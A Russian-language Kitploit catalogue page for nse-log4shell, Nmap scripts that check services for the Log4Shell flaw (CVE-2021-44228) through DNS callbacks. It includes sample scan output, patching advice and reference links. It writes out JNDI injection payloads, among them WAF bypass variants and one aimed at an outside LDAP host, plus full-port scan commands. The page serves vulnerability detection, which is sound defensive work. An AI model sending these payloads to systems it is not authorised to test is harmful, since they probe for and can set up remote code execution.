Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
nse-log4shell — Nmap NSE скрипты для проверки на уязвимости log4shell или LogJam (CVE-2021-44228) | Kitploit
Инструменты/GitHubGitHub/diverto/nse-log4shell
Сканеры уязвимостейЭксплуатацияВеб-безопасностьСетевая безопасностьТестирование на ПроникновениеАнализ DNSArchived
GitHubdiverto/nse-log4shell

nse-log4shell

Nmap NSE скрипты для проверки на уязвимости log4shell или LogJam (CVE-2021-44228)

Репозиторий
352474 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

nse-log4shell

Скрипты NSE для Nmap для проверки уязвимостей log4shell или LogJam (CVE-2021-44228). Скрипты NSE проверяют наиболее популярные открытые сервисы в Интернете. Это базовые скрипты, где вы можете настроить полезную нагрузку.

Примеры

Обратите внимание, что скрипты NSE только отправляют запросы к сервисам. Nmap не будет сообщать об уязвимых хостах — вам нужно проверять DNS-логи, чтобы определить уязвимость. Если вы не укажете полезную нагрузку вручную, скрипты NSE по умолчанию будут использовать dnslog.cn. Это означает, что запросы будут видны dnslog.cn.

Быстрый старт с помощью dnslog.cn

Перейдите в каталог, где находятся эти скрипты, и выполните следующие команды (Nmap получит dnslog.cn автоматически).

В Linux:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

В Windows:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

Рассматриваемые полезные нагрузки

Новый обход патча в версии 2.15.0 (CVE-2021-45046), спасибо @marcioalm (твит):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

Обход AWS (спасибо @11xuxx - твит):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Обход Akamai (спасибо @ozgur_bbh - твит):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

Ручная настройка

Пример для Windows (спасибо @ZedFuzz) — обратите внимание, как экранировать кавычки:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

С помощью logdns (пользовательский DNS-сервер логирования)

Перейдите по адресу http://github.com/kost/logdns и получите DNS-сервер. Получите домен и укажите его где-либо, где вы установили logdns:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

С помощью dnslog.cn

Перейдите по адресу http://dnslog.cn/ и получите SubDomain. Замените ваш xxxx на ваш SubDomain:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

С помощью burpcollaborator

Возьмите свой домен из Burp collaborator и замените xxxx на ваш домен:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

С помощью CanaryToken (https://canarytokens.org/generate#)

Возьмите свой токен из CanaryToken и замените xxxx на ваш домен:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

Спасибо @saintz666

Рекомендуемый способ

У dnslog.cn короткие сессии (около получаса). Должен быть способ продлить сессию на время сканирования. Кроме того, иногда DNS-запрос происходит намного позже, чем полученный запрос. Кто-то сообщал, что получал DNS-запрос через несколько часов после отправки запроса. В качестве обходного решения скрипты NSE nmap получают новую сессию после каждого просканированного хоста.

Поэтому в настоящее время для наилучшей уверенности рекомендуется использовать собственный DNS-домен с таким инструментом, как logdns: https://github.com/kost/logdns

Пример вывода

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

Решения/Исправления

Список лучших исправлений и обходных путей.

Лучшее исправление

Лучшее решение для защиты от CVE-2021-44228: обновитесь до log4j-2.16.0 или новее.

Обратите внимание, что log4j-2.15.0-rc1 больше не рекомендуется, так как были обнаружены новые уязвимости. Поэтому следует обновиться до log4j-2.16.0 или новее (спасибо @ruppde).

Также обратите внимание, что другие рекомендации, например установка log4j2.formatMsgNoLookups в true, следует избегать.

Лучшая идентификация

Лучше всего выявлять уязвимость log4shell, проверяя локальную файловую систему на наличие артефактов log4j.

Эти скрипты NSE следует использовать только для дополнительной уверенности. NSE помогают выявить уязвимые сервисы, а не уязвимые приложения. Они могут выявить уязвимое приложение, если оно логирует каждый запрос (включая корневой /), но не в том случае, если уязвимость скрыта за авторизацией. Для этого потребуется веб-сканер, который полностью обходит веб-сайт.

Вы можете проверить конкретный URI с помощью следующего примера: http-log4shell.url=/my/application/uri

Он будет проверять через HTTP-заголовки и cookie. Если нужно проверить POST/GET формы, следует использовать http-spider-log4shell. Тем не менее, лучше всего использовать веб-сканер с поддержкой log4j.

Также обратите внимание, что разрешение DNS с комбинациями префиксов в выражении для log4j-core <= 2.7, по-видимому, не поддерживается. Поэтому тестирование с чем-то вроде ${java:os} может привести к ложноотрицательным результатам. Следовательно, лучше допустить несколько ложноположительных результатов, чем ложноотрицательных.

Ссылки

Общие ссылки и ссылки на уязвимость

Общие

Тред Reddit - Общая информация о log4shell

NCC log4shell - Информация для эксплуатации уязвимости (IOCs, меры смягчения, сканирование, программное обеспечение)

Связанные

BlueTeam CheatSheet Log4Shell - Уведомления о безопасности / бюллетени, связанные с Log4Shell (CVE-2021-44228)

Список программного обеспечения - справочное руководство - Список уязвимого программного обеспечения по ответам вендоров

Тестирование

Обратите внимание, что удаленные и онлайн-проверки полезны как дополнительная уверенность или быстрый тест. Для дополнительной уверенности рекомендуется сканировать локальные файлы на наличие известных сигнатур log4j.

lo4shell.huntress.com - Онлайн-тестер уязвимости Log4Shell

log4j yara - Правила yara для локального обнаружения

identify-log4j-class-location.sh - Скрипт для определения затронутого класса Log4J для CVE-2021-44228 в наборе ear/war/jar файлов

Эксплуатация

PoC-log4j-bypass-words - Трюк для обхода блокировки слов

Обнаружение эксплуатации

log4shell-detector - Детектор попыток эксплуатации Log4Shell

Log4Shell-IOCs - Список фидов IOC и отчетов об угрозах

log4j_rce_detection.md - Вы можете использовать эти команды и правила для поиска попыток эксплуатации

Смягчение/Исправление

log4j advisory - Уязвимости безопасности Apache Log4j

log4j pull request and comments - Pull request, исправляющий ошибку с комментариями

Logout4Shell - Быстрая и грязная альтернатива ручному патчингу

Скачать инструмент